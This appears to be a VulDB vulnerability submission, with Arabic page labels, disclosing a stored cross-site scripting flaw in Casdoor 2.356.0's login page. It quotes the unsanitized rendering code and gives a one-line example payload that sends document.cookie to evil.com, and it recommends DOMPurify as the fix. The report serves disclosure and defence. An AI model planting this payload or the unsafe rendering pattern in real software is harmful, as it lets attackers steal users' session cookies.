إرسال #781770: Casdoor v2.356.0 Cross Site Scriptingالمعلومات

عنوانCasdoor v2.356.0 Cross Site Scripting
الوصفStored XSS via Application formCss / formSideHtml **Evidence:** ```javascript {inIframe() || isMobile() ? null : <div dangerouslySetInnerHTML={{__html: application.formCss}} />} {inIframe() || !isMobile() ? null : <div dangerouslySetInnerHTML={{__html: application.formCssMobile}} />} <div dangerouslySetInnerHTML={{__html: application.formSideHtml}} /> ``` The `formCss`, `formCssMobile`, and `formSideHtml` fields from the application object are rendered as raw HTML using `dangerouslySetInnerHTML`. If an organization admin (or anyone who can modify application settings) injects malicious JavaScript into these fields, it executes for every user who visits the login page. **Attack scenario:** An org admin sets `formSideHtml` to `<img src=x onerror="fetch('https://evil.com/steal?t='+document.cookie)">`. Every user visiting the login page has their session cookies exfiltrated. **Fix:** Sanitize these fields with a library like DOMPurify before rendering, or restrict them to a CSS-only subset by parsing and validating the content server-side. ---
المستخدم
 Ghufran Khan (UID 95493)
ارسال17/03/2026 02:25 PM (6 أشهر منذ)
الاعتدال03/04/2026 09:26 AM (17 days later)
الحالةتمت الموافقة
إدخال VulDB355072 [Casdoor 2.356.0 dangerouslySetInnerHTML formCss/formCssMobile/formSideHtml البرمجة عبر المواقع]
النقاط17

Want to stay up to date on a daily basis?

Enable the mail alert feature now!